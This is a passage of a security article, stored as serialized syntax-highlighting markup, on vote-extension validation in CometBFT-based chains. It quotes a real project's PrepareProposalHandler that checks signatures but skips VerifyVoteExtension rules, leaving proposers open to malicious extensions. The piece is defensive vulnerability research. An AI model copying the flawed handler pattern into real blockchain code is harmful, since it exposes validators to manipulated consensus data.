VerifyVoteExtension\n",{"type":23,"tag":141,"props":82044,"children":82045},{"class":143,"line":293},[82046,82051,82055,82059,82063,82067,82071,82076,82080,82085,82089,82093],{"type":23,"tag":141,"props":82047,"children":82048},{"style":750},[82049],{"type":29,"value":82050}," added",{"type":23,"tag":141,"props":82052,"children":82053},{"style":154},[82054],{"type":29,"value":480},{"type":23,"tag":141,"props":82056,"children":82057},{"style":750},[82058],{"type":29,"value":46898},{"type":23,"tag":141,"props":82060,"children":82061},{"style":160},[82062],{"type":29,"value":1674},{"type":23,"tag":141,"props":82064,"children":82065},{"style":750},[82066],{"type":29,"value":81981},{"type":23,"tag":141,"props":82068,"children":82069},{"style":154},[82070],{"type":29,"value":322},{"type":23,"tag":141,"props":82072,"children":82073},{"style":750},[82074],{"type":29,"value":82075},"LastCommit",{"type":23,"tag":141,"props":82077,"children":82078},{"style":154},[82079],{"type":29,"value":322},{"type":23,"tag":141,"props":82081,"children":82082},{"style":184},[82083],{"type":29,"value":82084},"AddVote",{"type":23,"tag":141,"props":82086,"children":82087},{"style":154},[82088],{"type":29,"value":192},{"type":23,"tag":141,"props":82090,"children":82091},{"style":750},[82092],{"type":29,"value":81844},{"type":23,"tag":141,"props":82094,"children":82095},{"style":154},[82096],{"type":29,"value":758},{"type":23,"tag":141,"props":82098,"children":82099},{"class":143,"line":801},[82100],{"type":23,"tag":141,"props":82101,"children":82102},{"style":160},[82103],{"type":29,"value":80327},{"type":23,"tag":141,"props":82105,"children":82106},{"class":143,"line":810},[82107,82111,82116,82120],{"type":23,"tag":141,"props":82108,"children":82109},{"style":148},[82110],{"type":29,"value":14420},{"type":23,"tag":141,"props":82112,"children":82113},{"style":750},[82114],{"type":29,"value":82115}," added",{"type":23,"tag":141,"props":82117,"children":82118},{"style":154},[82119],{"type":29,"value":480},{"type":23,"tag":141,"props":82121,"children":82122},{"style":750},[82123],{"type":29,"value":82124},"err\n",{"type":23,"tag":141,"props":82126,"children":82127},{"class":143,"line":824},[82128],{"type":23,"tag":141,"props":82129,"children":82130},{"style":154},[82131],{"type":29,"value":299},{"type":23,"tag":141,"props":82133,"children":82134},{"class":143,"line":839},[82135,82140,82144,82148,82152,82157,82161,82166,82170,82175,82179,82184,82188,82192,82196,82200],{"type":23,"tag":141,"props":82136,"children":82137},{"style":750},[82138],{"type":29,"value":82139}," extEnabled",{"type":23,"tag":141,"props":82141,"children":82142},{"style":160},[82143],{"type":29,"value":74901},{"type":23,"tag":141,"props":82145,"children":82146},{"style":750},[82147],{"type":29,"value":81981},{"type":23,"tag":141,"props":82149,"children":82150},{"style":154},[82151],{"type":29,"value":322},{"type":23,"tag":141,"props":82153,"children":82154},{"style":750},[82155],{"type":29,"value":82156},"state",{"type":23,"tag":141,"props":82158,"children":82159},{"style":154},[82160],{"type":29,"value":322},{"type":23,"tag":141,"props":82162,"children":82163},{"style":750},[82164],{"type":29,"value":82165},"ConsensusParams",{"type":23,"tag":141,"props":82167,"children":82168},{"style":154},[82169],{"type":29,"value":322},{"type":23,"tag":141,"props":82171,"children":82172},{"style":750},[82173],{"type":29,"value":82174},"Feature",{"type":23,"tag":141,"props":82176,"children":82177},{"style":154},[82178],{"type":29,"value":322},{"type":23,"tag":141,"props":82180,"children":82181},{"style":184},[82182],{"type":29,"value":82183},"VoteExtensionsEnabled",{"type":23,"tag":141,"props":82185,"children":82186},{"style":154},[82187],{"type":29,"value":192},{"type":23,"tag":141,"props":82189,"children":82190},{"style":750},[82191],{"type":29,"value":81844},{"type":23,"tag":141,"props":82193,"children":82194},{"style":154},[82195],{"type":29,"value":322},{"type":23,"tag":141,"props":82197,"children":82198},{"style":750},[82199],{"type":29,"value":81964},{"type":23,"tag":141,"props":82201,"children":82202},{"style":154},[82203],{"type":29,"value":758},{"type":23,"tag":141,"props":82205,"children":82206},{"class":143,"line":848},[82207,82211,82216],{"type":23,"tag":141,"props":82208,"children":82209},{"style":148},[82210],{"type":29,"value":151},{"type":23,"tag":141,"props":82212,"children":82213},{"style":750},[82214],{"type":29,"value":82215}," extEnabled",{"type":23,"tag":141,"props":82217,"children":82218},{"style":154},[82219],{"type":29,"value":1951},{"type":23,"tag":141,"props":82221,"children":82222},{"class":143,"line":2304},[82223],{"type":23,"tag":141,"props":82224,"children":82225},{"style":160},[82226],{"type":29,"value":80327},{"type":23,"tag":141,"props":82228,"children":82229},{"class":143,"line":2313},[82230,82234,82238,82242,82246,82250,82254,82258,82262,82266,82270,82274,82278,82283,82287,82292,82296],{"type":23,"tag":141,"props":82231,"children":82232},{"style":148},[82233],{"type":29,"value":233},{"type":23,"tag":141,"props":82235,"children":82236},{"style":750},[82237],{"type":29,"value":81955},{"type":23,"tag":141,"props":82239,"children":82240},{"style":154},[82241],{"type":29,"value":322},{"type":23,"tag":141,"props":82243,"children":82244},{"style":750},[82245],{"type":29,"value":82006},{"type":23,"tag":141,"props":82247,"children":82248},{"style":160},[82249],{"type":29,"value":1942},{"type":23,"tag":141,"props":82251,"children":82252},{"style":750},[82253],{"type":29,"value":76660},{"type":23,"tag":141,"props":82255,"children":82256},{"style":154},[82257],{"type":29,"value":322},{"type":23,"tag":141,"props":82259,"children":82260},{"style":750},[82261],{"type":29,"value":82023},{"type":23,"tag":141,"props":82263,"children":82264},{"style":160},[82265],{"type":29,"value":1253},{"type":23,"tag":141,"props":82267,"children":82268},{"style":160},[82269],{"type":29,"value":1258},{"type":23,"tag":141,"props":82271,"children":82272},{"style":750},[82273],{"type":29,"value":81844},{"type":23,"tag":141,"props":82275,"children":82276},{"style":154},[82277],{"type":29,"value":322},{"type":23,"tag":141,"props":82279,"children":82280},{"style":750},[82281],{"type":29,"value":82282},"BlockID",{"type":23,"tag":141,"props":82284,"children":82285},{"style":154},[82286],{"type":29,"value":322},{"type":23,"tag":141,"props":82288,"children":82289},{"style":184},[82290],{"type":29,"value":82291},"IsNil",{"type":23,"tag":141,"props":82293,"children":82294},{"style":154},[82295],{"type":29,"value":12720},{"type":23,"tag":141,"props":82297,"children":82298},{"style":160},[82299],{"type":29,"value":82300},"&&\n",{"type":23,"tag":141,"props":82302,"children":82303},{"class":143,"line":2335},[82304,82309,82314,82318,82322,82326,82330,82334,82339,82343,82348,82352],{"type":23,"tag":141,"props":82305,"children":82306},{"style":160},[82307],{"type":29,"value":82308}," !",{"type":23,"tag":141,"props":82310,"children":82311},{"style":750},[82312],{"type":29,"value":82313},"bytes",{"type":23,"tag":141,"props":82315,"children":82316},{"style":154},[82317],{"type":29,"value":322},{"type":23,"tag":141,"props":82319,"children":82320},{"style":184},[82321],{"type":29,"value":80783},{"type":23,"tag":141,"props":82323,"children":82324},{"style":154},[82325],{"type":29,"value":192},{"type":23,"tag":141,"props":82327,"children":82328},{"style":750},[82329],{"type":29,"value":81844},{"type":23,"tag":141,"props":82331,"children":82332},{"style":154},[82333],{"type":29,"value":322},{"type":23,"tag":141,"props":82335,"children":82336},{"style":750},[82337],{"type":29,"value":82338},"ValidatorAddress",{"type":23,"tag":141,"props":82340,"children":82341},{"style":154},[82342],{"type":29,"value":480},{"type":23,"tag":141,"props":82344,"children":82345},{"style":750},[82346],{"type":29,"value":82347},"myAddr",{"type":23,"tag":141,"props":82349,"children":82350},{"style":154},[82351],{"type":29,"value":22672},{"type":23,"tag":141,"props":82353,"children":82354},{"style":443},[82355],{"type":29,"value":82356},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":141,"props":82358,"children":82359},{"class":143,"line":2343},[82360],{"type":23,"tag":141,"props":82361,"children":82362},{"style":160},[82363],{"type":29,"value":81003},{"type":23,"tag":141,"props":82365,"children":82366},{"class":143,"line":2352},[82367,82371,82375,82379,82383,82388,82392,82396,82400,82405,82409,82414,82418,82422],{"type":23,"tag":141,"props":82368,"children":82369},{"style":750},[82370],{"type":29,"value":80821},{"type":23,"tag":141,"props":82372,"children":82373},{"style":160},[82374],{"type":29,"value":74901},{"type":23,"tag":141,"props":82376,"children":82377},{"style":750},[82378],{"type":29,"value":81981},{"type":23,"tag":141,"props":82380,"children":82381},{"style":154},[82382],{"type":29,"value":322},{"type":23,"tag":141,"props":82384,"children":82385},{"style":750},[82386],{"type":29,"value":82387},"blockExec",{"type":23,"tag":141,"props":82389,"children":82390},{"style":154},[82391],{"type":29,"value":322},{"type":23,"tag":141,"props":82393,"children":82394},{"style":184},[82395],{"type":29,"value":81649},{"type":23,"tag":141,"props":82397,"children":82398},{"style":154},[82399],{"type":29,"value":192},{"type":23,"tag":141,"props":82401,"children":82402},{"style":750},[82403],{"type":29,"value":82404},"context",{"type":23,"tag":141,"props":82406,"children":82407},{"style":154},[82408],{"type":29,"value":322},{"type":23,"tag":141,"props":82410,"children":82411},{"style":184},[82412],{"type":29,"value":82413},"TODO",{"type":23,"tag":141,"props":82415,"children":82416},{"style":154},[82417],{"type":29,"value":17053},{"type":23,"tag":141,"props":82419,"children":82420},{"style":750},[82421],{"type":29,"value":81844},{"type":23,"tag":141,"props":82423,"children":82424},{"style":154},[82425],{"type":29,"value":758},{"type":23,"tag":141,"props":82427,"children":82428},{"class":143,"line":2421},[82429],{"type":23,"tag":141,"props":82430,"children":82431},{"style":160},[82432],{"type":29,"value":81003},{"type":23,"tag":141,"props":82434,"children":82435},{"class":143,"line":2429},[82436],{"type":23,"tag":141,"props":82437,"children":82438},{"style":154},[82439],{"type":29,"value":2008},{"type":23,"tag":141,"props":82441,"children":82442},{"class":143,"line":2459},[82443,82447,82451,82455],{"type":23,"tag":141,"props":82444,"children":82445},{"style":154},[82446],{"type":29,"value":14455},{"type":23,"tag":141,"props":82448,"children":82449},{"style":148},[82450],{"type":29,"value":1976},{"type":23,"tag":141,"props":82452,"children":82453},{"style":148},[82454],{"type":29,"value":14464},{"type":23,"tag":141,"props":82456,"children":82457},{"style":154},[82458],{"type":29,"value":1951},{"type":23,"tag":141,"props":82460,"children":82461},{"class":143,"line":2467},[82462],{"type":23,"tag":141,"props":82463,"children":82464},{"style":160},[82465],{"type":29,"value":80327},{"type":23,"tag":141,"props":82467,"children":82468},{"class":143,"line":2499},[82469],{"type":23,"tag":141,"props":82470,"children":82471},{"style":154},[82472],{"type":29,"value":299},{"type":23,"tag":141,"props":82474,"children":82475},{"class":143,"line":2507},[82476],{"type":23,"tag":141,"props":82477,"children":82478},{"style":160},[82479],{"type":29,"value":19011},{"type":23,"tag":141,"props":82481,"children":82482},{"class":143,"line":2567},[82483],{"type":23,"tag":141,"props":82484,"children":82485},{"style":154},[82486],{"type":29,"value":2573},{"type":23,"tag":32,"props":82488,"children":82489},{},[82490],{"type":29,"value":82491},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":8287,"props":82493,"children":82495},{"id":82494},"real-world-examples-4",[82496],{"type":29,"value":75174},{"type":23,"tag":32,"props":82498,"children":82499},{},[82500,82502,82507,82509,82515,82517,82523],{"type":29,"value":82501},"An example of the bug we just described is shown here. ",{"type":23,"tag":38,"props":82503,"children":82505},{"className":82504},[],[82506],{"type":29,"value":81628},{"type":29,"value":82508}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":38,"props":82510,"children":82512},{"className":82511},[],[82513],{"type":29,"value":82514},"ValidateVoteExtension",{"type":29,"value":82516}," but does not verify it against the rules in ",{"type":23,"tag":38,"props":82518,"children":82520},{"className":82519},[],[82521],{"type":29,"value":82522},"VerifyVoteExtention.",{"type":29,"value":82524}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":32,"props":82526,"children":82527},{},[82528],{"type":23,"tag":55,"props":82529,"children":82532},{"href":82530,"rel":82531},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[59],[82533],{"type":29,"value":75224},{"type":23,"tag":131,"props":82535,"children":82537},{"code":82536,"language":74649,"meta":7,"className":74650,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[82538],{"type":23,"tag":38,"props":82539,"children":82540},{"__ignoreMap":7},[82541,82595,82686,82693,82714,82781,82789,82894,82917,82936,82943,82997,83020,83075,83094,83101,83108,83115,83169,83176,83202,83225,83277,83339,83346,83373,83393,83405,83412],{"type":23,"tag":141,"props":82542,"children":82543},{"class":143,"line":144},[82544,82548,82552,82557,82561,82566,82570,82575,82579,82583,82587,82591],{"type":23,"tag":141,"props":82545,"children":82546},{"style":449},[82547],{"type":29,"value":74785},{"type":23,"tag":141,"props":82549,"children":82550},{"style":154},[82551],{"type":29,"value":1220},{"type":23,"tag":141,"props":82553,"children":82554},{"style":750},[82555],{"type":29,"value":82556},"h ",{"type":23,"tag":141,"props":82558,"children":82559},{"style":160},[82560],{"type":29,"value":197},{"type":23,"tag":141,"props":82562,"children":82563},{"style":725},[82564],{"type":29,"value":82565},"Handlers",{"type":23,"tag":141,"props":82567,"children":82568},{"style":154},[82569],{"type":29,"value":1748},{"type":23,"tag":141,"props":82571,"children":82572},{"style":184},[82573],{"type":29,"value":82574},"PrepareProposalHandler",{"type":23,"tag":141,"props":82576,"children":82577},{"style":154},[82578],{"type":29,"value":12720},{"type":23,"tag":141,"props":82580,"children":82581},{"style":725},[82582],{"type":29,"value":77215},{"type":23,"tag":141,"props":82584,"children":82585},{"style":154},[82586],{"type":29,"value":322},{"type":23,"tag":141,"props":82588,"children":82589},{"style":725},[82590],{"type":29,"value":82574},{"type":23,"tag":141,"props":82592,"children":82593},{"style":154},[82594],{"type":29,"value":1951},{"type":23,"tag":141,"props":82596,"children":82597},{"class":143,"line":180},[82598,82602,82606,82610,82614,82618,82622,82626,82630,82635,82639,82644,82648,82653,82657,82661,82665,82669,82674,82678,82682],{"type":23,"tag":141,"props":82599,"children":82600},{"style":148},[82601],{"type":29,"value":15665},{"type":23,"tag":141,"props":82603,"children":82604},{"style":449},[82605],{"type":29,"value":78494},{"type":23,"tag":141,"props":82607,"children":82608},{"style":154},[82609],{"type":29,"value":192},{"type":23,"tag":141,"props":82611,"children":82612},{"style":750},[82613],{"type":29,"value":18952},{"type":23,"tag":141,"props":82615,"children":82616},{"style":725},[82617],{"type":29,"value":77126},{"type":23,"tag":141,"props":82619,"children":82620},{"style":154},[82621],{"type":29,"value":322},{"type":23,"tag":141,"props":82623,"children":82624},{"style":725},[82625],{"type":29,"value":74834},{"type":23,"tag":141,"props":82627,"children":82628},{"style":154},[82629],{"type":29,"value":480},{"type":23,"tag":141,"props":82631,"children":82632},{"style":750},[82633],{"type":29,"value":82634},"req",{"type":23,"tag":141,"props":82636,"children":82637},{"style":160},[82638],{"type":29,"value":8496},{"type":23,"tag":141,"props":82640,"children":82641},{"style":725},[82642],{"type":29,"value":82643},"abcitypes",{"type":23,"tag":141,"props":82645,"children":82646},{"style":154},[82647],{"type":29,"value":322},{"type":23,"tag":141,"props":82649,"children":82650},{"style":725},[82651],{"type":29,"value":82652},"RequestPrepareProposal",{"type":23,"tag":141,"props":82654,"children":82655},{"style":154},[82656],{"type":29,"value":74867},{"type":23,"tag":141,"props":82658,"children":82659},{"style":160},[82660],{"type":29,"value":197},{"type":23,"tag":141,"props":82662,"children":82663},{"style":725},[82664],{"type":29,"value":82643},{"type":23,"tag":141,"props":82666,"children":82667},{"style":154},[82668],{"type":29,"value":322},{"type":23,"tag":141,"props":82670,"children":82671},{"style":725},[82672],{"type":29,"value":82673},"ResponsePrepareProposal",{"type":23,"tag":141,"props":82675,"children":82676},{"style":154},[82677],{"type":29,"value":480},{"type":23,"tag":141,"props":82679,"children":82680},{"style":725},[82681],{"type":29,"value":13540},{"type":23,"tag":141,"props":82683,"children":82684},{"style":154},[82685],{"type":29,"value":13480},{"type":23,"tag":141,"props":82687,"children":82688},{"class":143,"line":205},[82689],{"type":23,"tag":141,"props":82690,"children":82691},{"style":160},[82692],{"type":29,"value":80327},{"type":23,"tag":141,"props":82694,"children":82695},{"class":143,"line":218},[82696,82700,82705,82709],{"type":23,"tag":141,"props":82697,"children":82698},{"style":449},[82699],{"type":29,"value":78603},{"type":23,"tag":141,"props":82701,"children":82702},{"style":750},[82703],{"type":29,"value":82704}," injection",{"type":23,"tag":141,"props":82706,"children":82707},{"style":154},[82708],{"type":29,"value":74712},{"type":23,"tag":141,"props":82710,"children":82711},{"style":725},[82712],{"type":29,"value":82713},"byte\n",{"type":23,"tag":141,"props":82715,"children":82716},{"class":143,"line":227},[82717,82721,82726,82730,82734,82738,82742,82746,82750,82754,82759,82763,82768,82772,82777],{"type":23,"tag":141,"props":82718,"children":82719},{"style":148},[82720],{"type":29,"value":233},{"type":23,"tag":141,"props":82722,"children":82723},{"style":750},[82724],{"type":29,"value":82725}," req",{"type":23,"tag":141,"props":82727,"children":82728},{"style":154},[82729],{"type":29,"value":322},{"type":23,"tag":141,"props":82731,"children":82732},{"style":750},[82733],{"type":29,"value":81964},{"type":23,"tag":141,"props":82735,"children":82736},{"style":160},[82737],{"type":29,"value":12870},{"type":23,"tag":141,"props":82739,"children":82740},{"style":750},[82741],{"type":29,"value":24527},{"type":23,"tag":141,"props":82743,"children":82744},{"style":154},[82745],{"type":29,"value":322},{"type":23,"tag":141,"props":82747,"children":82748},{"style":184},[82749],{"type":29,"value":82165},{"type":23,"tag":141,"props":82751,"children":82752},{"style":154},[82753],{"type":29,"value":1243},{"type":23,"tag":141,"props":82755,"children":82756},{"style":750},[82757],{"type":29,"value":82758},"Abci",{"type":23,"tag":141,"props":82760,"children":82761},{"style":154},[82762],{"type":29,"value":322},{"type":23,"tag":141,"props":82764,"children":82765},{"style":750},[82766],{"type":29,"value":82767},"VoteExtensionsEnableHeight",{"type":23,"tag":141,"props":82769,"children":82770},{"style":160},[82771],{"type":29,"value":1253},{"type":23,"tag":141,"props":82773,"children":82774},{"style":750},[82775],{"type":29,"value":82776}," collectSigs",{"type":23,"tag":141,"props":82778,"children":82779},{"style":154},[82780],{"type":29,"value":1951},{"type":23,"tag":141,"props":82782,"children":82783},{"class":143,"line":241},[82784],{"type":23,"tag":141,"props":82785,"children":82786},{"style":443},[82787],{"type":29,"value":82788}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":141,"props":82790,"children":82791},{"class":143,"line":262},[82792,82796,82800,82805,82809,82814,82818,82822,82826,82831,82835,82840,82844,82848,82852,82856,82860,82864,82868,82873,82877,82881,82885,82890],{"type":23,"tag":141,"props":82793,"children":82794},{"style":750},[82795],{"type":29,"value":80821},{"type":23,"tag":141,"props":82797,"children":82798},{"style":160},[82799],{"type":29,"value":74901},{"type":23,"tag":141,"props":82801,"children":82802},{"style":750},[82803],{"type":29,"value":82804}," baseapp",{"type":23,"tag":141,"props":82806,"children":82807},{"style":154},[82808],{"type":29,"value":322},{"type":23,"tag":141,"props":82810,"children":82811},{"style":184},[82812],{"type":29,"value":82813},"ValidateVoteExtensions",{"type":23,"tag":141,"props":82815,"children":82816},{"style":154},[82817],{"type":29,"value":192},{"type":23,"tag":141,"props":82819,"children":82820},{"style":750},[82821],{"type":29,"value":18952},{"type":23,"tag":141,"props":82823,"children":82824},{"style":154},[82825],{"type":29,"value":480},{"type":23,"tag":141,"props":82827,"children":82828},{"style":750},[82829],{"type":29,"value":82830},"h",{"type":23,"tag":141,"props":82832,"children":82833},{"style":154},[82834],{"type":29,"value":322},{"type":23,"tag":141,"props":82836,"children":82837},{"style":750},[82838],{"type":29,"value":82839},"stakingKeeper",{"type":23,"tag":141,"props":82841,"children":82842},{"style":154},[82843],{"type":29,"value":480},{"type":23,"tag":141,"props":82845,"children":82846},{"style":750},[82847],{"type":29,"value":82634},{"type":23,"tag":141,"props":82849,"children":82850},{"style":154},[82851],{"type":29,"value":322},{"type":23,"tag":141,"props":82853,"children":82854},{"style":750},[82855],{"type":29,"value":81964},{"type":23,"tag":141,"props":82857,"children":82858},{"style":154},[82859],{"type":29,"value":480},{"type":23,"tag":141,"props":82861,"children":82862},{"style":750},[82863],{"type":29,"value":18952},{"type":23,"tag":141,"props":82865,"children":82866},{"style":154},[82867],{"type":29,"value":322},{"type":23,"tag":141,"props":82869,"children":82870},{"style":184},[82871],{"type":29,"value":82872},"ChainID",{"type":23,"tag":141,"props":82874,"children":82875},{"style":154},[82876],{"type":29,"value":17053},{"type":23,"tag":141,"props":82878,"children":82879},{"style":750},[82880],{"type":29,"value":82634},{"type":23,"tag":141,"props":82882,"children":82883},{"style":154},[82884],{"type":29,"value":322},{"type":23,"tag":141,"props":82886,"children":82887},{"style":750},[82888],{"type":29,"value":82889},"LocalLastCommit",{"type":23,"tag":141,"props":82891,"children":82892},{"style":154},[82893],{"type":29,"value":758},{"type":23,"tag":141,"props":82895,"children":82896},{"class":143,"line":271},[82897,82901,82905,82909,82913],{"type":23,"tag":141,"props":82898,"children":82899},{"style":148},[82900],{"type":29,"value":57281},{"type":23,"tag":141,"props":82902,"children":82903},{"style":750},[82904],{"type":29,"value":46999},{"type":23,"tag":141,"props":82906,"children":82907},{"style":160},[82908],{"type":29,"value":62868},{"type":23,"tag":141,"props":82910,"children":82911},{"style":449},[82912],{"type":29,"value":80403},{"type":23,"tag":141,"props":82914,"children":82915},{"style":154},[82916],{"type":29,"value":1951},{"type":23,"tag":141,"props":82918,"children":82919},{"class":143,"line":293},[82920,82924,82928,82932],{"type":23,"tag":141,"props":82921,"children":82922},{"style":148},[82923],{"type":29,"value":59209},{"type":23,"tag":141,"props":82925,"children":82926},{"style":449},[82927],{"type":29,"value":80403},{"type":23,"tag":141,"props":82929,"children":82930},{"style":154},[82931],{"type":29,"value":480},{"type":23,"tag":141,"props":82933,"children":82934},{"style":750},[82935],{"type":29,"value":82124},{"type":23,"tag":141,"props":82937,"children":82938},{"class":143,"line":801},[82939],{"type":23,"tag":141,"props":82940,"children":82941},{"style":154},[82942],{"type":29,"value":57365},{"type":23,"tag":141,"props":82944,"children":82945},{"class":143,"line":810},[82946,82951,82955,82959,82963,82968,82972,82977,82981,82985,82989,82993],{"type":23,"tag":141,"props":82947,"children":82948},{"style":750},[82949],{"type":29,"value":82950}," injection",{"type":23,"tag":141,"props":82952,"children":82953},{"style":154},[82954],{"type":29,"value":480},{"type":23,"tag":141,"props":82956,"children":82957},{"style":750},[82958],{"type":29,"value":46898},{"type":23,"tag":141,"props":82960,"children":82961},{"style":160},[82962],{"type":29,"value":1674},{"type":23,"tag":141,"props":82964,"children":82965},{"style":750},[82966],{"type":29,"value":82967}," json",{"type":23,"tag":141,"props":82969,"children":82970},{"style":154},[82971],{"type":29,"value":322},{"type":23,"tag":141,"props":82973,"children":82974},{"style":184},[82975],{"type":29,"value":82976},"Marshal",{"type":23,"tag":141,"props":82978,"children":82979},{"style":154},[82980],{"type":29,"value":192},{"type":23,"tag":141,"props":82982,"children":82983},{"style":750},[82984],{"type":29,"value":82634},{"type":23,"tag":141,"props":82986,"children":82987},{"style":154},[82988],{"type":29,"value":322},{"type":23,"tag":141,"props":82990,"children":82991},{"style":750},[82992],{"type":29,"value":82889},{"type":23,"tag":141,"props":82994,"children":82995},{"style":154},[82996],{"type":29,"value":758},{"type":23,"tag":141,"props":82998,"children":82999},{"class":143,"line":824},[83000,83004,83008,83012,83016],{"type":23,"tag":141,"props":83001,"children":83002},{"style":148},[83003],{"type":29,"value":57281},{"type":23,"tag":141,"props":83005,"children":83006},{"style":750},[83007],{"type":29,"value":46999},{"type":23,"tag":141,"props":83009,"children":83010},{"style":160},[83011],{"type":29,"value":62868},{"type":23,"tag":141,"props":83013,"children":83014},{"style":449},[83015],{"type":29,"value":80403},{"type":23,"tag":141,"props":83017,"children":83018},{"style":154},[83019],{"type":29,"value":1951},{"type":23,"tag":141,"props":83021,"children":83022},{"class":143,"line":839},[83023,83028,83032,83037,83041,83045,83049,83054,83058,83063,83067,83071],{"type":23,"tag":141,"props":83024,"children":83025},{"style":750},[83026],{"type":29,"value":83027}," h",{"type":23,"tag":141,"props":83029,"children":83030},{"style":154},[83031],{"type":29,"value":322},{"type":23,"tag":141,"props":83033,"children":83034},{"style":750},[83035],{"type":29,"value":83036},"logger",{"type":23,"tag":141,"props":83038,"children":83039},{"style":154},[83040],{"type":29,"value":322},{"type":23,"tag":141,"props":83042,"children":83043},{"style":184},[83044],{"type":29,"value":35869},{"type":23,"tag":141,"props":83046,"children":83047},{"style":154},[83048],{"type":29,"value":192},{"type":23,"tag":141,"props":83050,"children":83051},{"style":828},[83052],{"type":29,"value":83053},"\"failed to marshal extended votes\"",{"type":23,"tag":141,"props":83055,"children":83056},{"style":154},[83057],{"type":29,"value":480},{"type":23,"tag":141,"props":83059,"children":83060},{"style":828},[83061],{"type":29,"value":83062},"\"err\"",{"type":23,"tag":141,"props":83064,"children":83065},{"style":154},[83066],{"type":29,"value":480},{"type":23,"tag":141,"props":83068,"children":83069},{"style":750},[83070],{"type":29,"value":46898},{"type":23,"tag":141,"props":83072,"children":83073},{"style":154},[83074],{"type":29,"value":758},{"type":23,"tag":141,"props":83076,"children":83077},{"class":143,"line":848},[83078,83082,83086,83090],{"type":23,"tag":141,"props":83079,"children":83080},{"style":148},[83081],{"type":29,"value":59209},{"type":23,"tag":141,"props":83083,"children":83084},{"style":449},[83085],{"type":29,"value":80403},{"type":23,"tag":141,"props":83087,"children":83088},{"style":154},[83089],{"type":29,"value":480},{"type":23,"tag":141,"props":83091,"children":83092},{"style":750},[83093],{"type":29,"value":82124},{"type":23,"tag":141,"props":83095,"children":83096},{"class":143,"line":2304},[83097],{"type":23,"tag":141,"props":83098,"children":83099},{"style":154},[83100],{"type":29,"value":57365},{"type":23,"tag":141,"props":83102,"children":83103},{"class":143,"line":2313},[83104],{"type":23,"tag":141,"props":83105,"children":83106},{"style":160},[83107],{"type":29,"value":81003},{"type":23,"tag":141,"props":83109,"children":83110},{"class":143,"line":2335},[83111],{"type":23,"tag":141,"props":83112,"children":83113},{"style":154},[83114],{"type":29,"value":2008},{"type":23,"tag":141,"props":83116,"children":83117},{"class":143,"line":2343},[83118,83123,83127,83131,83135,83140,83144,83149,83153,83157,83161,83165],{"type":23,"tag":141,"props":83119,"children":83120},{"style":750},[83121],{"type":29,"value":83122}," defaultRes",{"type":23,"tag":141,"props":83124,"children":83125},{"style":154},[83126],{"type":29,"value":480},{"type":23,"tag":141,"props":83128,"children":83129},{"style":750},[83130],{"type":29,"value":46898},{"type":23,"tag":141,"props":83132,"children":83133},{"style":160},[83134],{"type":29,"value":74901},{"type":23,"tag":141,"props":83136,"children":83137},{"style":750},[83138],{"type":29,"value":83139}," h",{"type":23,"tag":141,"props":83141,"children":83142},{"style":154},[83143],{"type":29,"value":322},{"type":23,"tag":141,"props":83145,"children":83146},{"style":184},[83147],{"type":29,"value":83148},"defaultPrepareProposal",{"type":23,"tag":141,"props":83150,"children":83151},{"style":154},[83152],{"type":29,"value":192},{"type":23,"tag":141,"props":83154,"children":83155},{"style":750},[83156],{"type":29,"value":18952},{"type":23,"tag":141,"props":83158,"children":83159},{"style":154},[83160],{"type":29,"value":480},{"type":23,"tag":141,"props":83162,"children":83163},{"style":750},[83164],{"type":29,"value":82634},{"type":23,"tag":141,"props":83166,"children":83167},{"style":154},[83168],{"type":29,"value":758},{"type":23,"tag":141,"props":83170,"children":83171},{"class":143,"line":2352},[83172],{"type":23,"tag":141,"props":83173,"children":83174},{"style":160},[83175],{"type":29,"value":80327},{"type":23,"tag":141,"props":83177,"children":83178},{"class":143,"line":2421},[83179,83184,83188,83193,83197],{"type":23,"tag":141,"props":83180,"children":83181},{"style":750},[83182],{"type":29,"value":83183}," proposalTxs",{"type":23,"tag":141,"props":83185,"children":83186},{"style":160},[83187],{"type":29,"value":74901},{"type":23,"tag":141,"props":83189,"children":83190},{"style":750},[83191],{"type":29,"value":83192}," defaultRes",{"type":23,"tag":141,"props":83194,"children":83195},{"style":154},[83196],{"type":29,"value":322},{"type":23,"tag":141,"props":83198,"children":83199},{"style":750},[83200],{"type":29,"value":83201},"Txs\n",{"type":23,"tag":141,"props":83203,"children":83204},{"class":143,"line":2429},[83205,83209,83213,83217,83221],{"type":23,"tag":141,"props":83206,"children":83207},{"style":148},[83208],{"type":29,"value":233},{"type":23,"tag":141,"props":83210,"children":83211},{"style":750},[83212],{"type":29,"value":82704},{"type":23,"tag":141,"props":83214,"children":83215},{"style":160},[83216],{"type":29,"value":62868},{"type":23,"tag":141,"props":83218,"children":83219},{"style":449},[83220],{"type":29,"value":80403},{"type":23,"tag":141,"props":83222,"children":83223},{"style":154},[83224],{"type":29,"value":1951},{"type":23,"tag":141,"props":83226,"children":83227},{"class":143,"line":2459},[83228,83233,83237,83241,83246,83251,83255,83260,83264,83269,83273],{"type":23,"tag":141,"props":83229,"children":83230},{"style":750},[83231],{"type":29,"value":83232}," 